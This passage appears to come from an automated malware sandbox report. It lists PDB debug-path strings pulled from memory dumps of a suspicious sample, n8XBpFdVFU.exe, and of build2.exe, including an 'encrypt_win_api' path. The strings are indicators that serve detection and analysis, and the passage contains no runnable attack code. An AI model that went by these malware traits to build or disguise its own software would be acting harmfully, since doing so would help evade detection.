Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: n8XBpFdVFU.exe, 00000004.00000003.2034905720.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115438824.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079799732.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060063525.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069492382.000000000316F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069618924.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2143945676.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034533852.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1801653331.000000000319B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059388456.0000000003171000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2061069326.00000000031A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099870610.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034116177.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2148629499.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106751267.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070471134.00000000031AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\et source: n8XBpFdVFU.exe, 00000004.00000003.2080925516.0000000009C10000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068574359.0000000009C08000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070633856.0000000009C0F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorJ? source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\he\ source: n8XBpFdVFU.exe, 00000004.00000003.2071512444.0000000009C30000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068574359.0000000009C08000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070633856.0000000009C0F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\y\ source: n8XBpFdVFU.exe, 00000004.00000003.2077905305.0000000009C36000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079313090.0000000009C3D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2080715201.0000000009C3D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009C33000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099449008.0000000009C1C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1801653331.000000000319B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\j source: n8XBpFdVFU.exe, 00000004.00000003.2100486858.0000000009ADE000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100873819.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108308311.0000000009B38000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100754906.0000000009AE5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106306318.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107832891.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: n8XBpFdVFU.exe, 00000004.00000003.2060990859.000000000315C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059760801.0000000003146000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060209263.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099819744.0000000009BD7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\& source: n8XBpFdVFU.exe, 00000004.00000003.2101887077.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2148373232.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060898935.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107929624.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109267991.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2129516591.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115238647.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069103439.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059760801.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121612669.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101796621.00000000030F7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099907699.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078426315.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142226856.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142702841.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141980062.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n Da~ source: n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\n source: n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2068684614.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\x\ source: n8XBpFdVFU.exe, 00000004.00000003.2101217385.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1716442270.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1713232631.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1715261612.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\lO source: n8XBpFdVFU.exe, 00000004.00000003.2068684614.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070809171.00000000032C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\` source: n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: n8XBpFdVFU.exe, 00000004.00000003.2009936503.00000000031A6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.000000000319A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009601986.000000000319E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100449175.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\8_LRK source: n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068684614.000000000333F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070809171.000000000333F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .LOGUser.datntkrnlmp.pdb source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\* source: n8XBpFdVFU.exe, 00000004.00000003.2060155956.0000000009C4A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C41000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060662820.0000000009C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\D source: n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003312000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2106068116.00000000033C9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2116466525.00000000033DE000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115561835.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113856909.00000000033C5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: n8XBpFdVFU.exe, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\p\\ source: n8XBpFdVFU.exe, 00000004.00000003.2120300375.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2123442279.0000000003186000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: n8XBpFdVFU.exe, 00000004.00000003.2129691380.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142264228.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2143858841.000000000335B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\bat\ source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\S source: n8XBpFdVFU.exe, 00000004.00000003.2145077667.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145361996.0000000003441000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2144578065.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145621566.0000000003442000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: n8XBpFdVFU.exe, 00000004.00000003.2069103439.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078426315.00000000030FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C10000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: n8XBpFdVFU.exe, 00000004.00000003.1722364769.00000000097C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\sicifepuxu\zebusecasa\xotagepidu83 jibone71-katavuzu xuwasij.pdb source: n8XBpFdVFU.exe, 00000000.00000002.1626387788.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000000.00000000.1620679791.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000001.00000000.1623855777.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000003.00000002.1648163427.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000003.00000000.1642852442.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000004.00000000.1645308199.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1659172326.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 00000005.00000000.1652880246.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 00000006.00000000.1656034893.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 0000000A.00000000.1731729893.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 0000000A.00000002.1740704301.0000000000412000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ies\rF source: n8XBpFdVFU.exe, 00000004.00000003.2108558652.0000000003323000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115829610.000000000334B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: n8XBpFdVFU.exe, 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\n source: n8XBpFdVFU.exe, 00000004.00000003.2120300375.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2123442279.0000000003186000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\te\` source: n8XBpFdVFU.exe, 00000004.00000003.2116663063.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2114769171.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101887077.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2148373232.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060898935.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107929624.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109267991.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2129516591.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115238647.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C10000.00000004.00000020.00020000.00000000.sdmp, 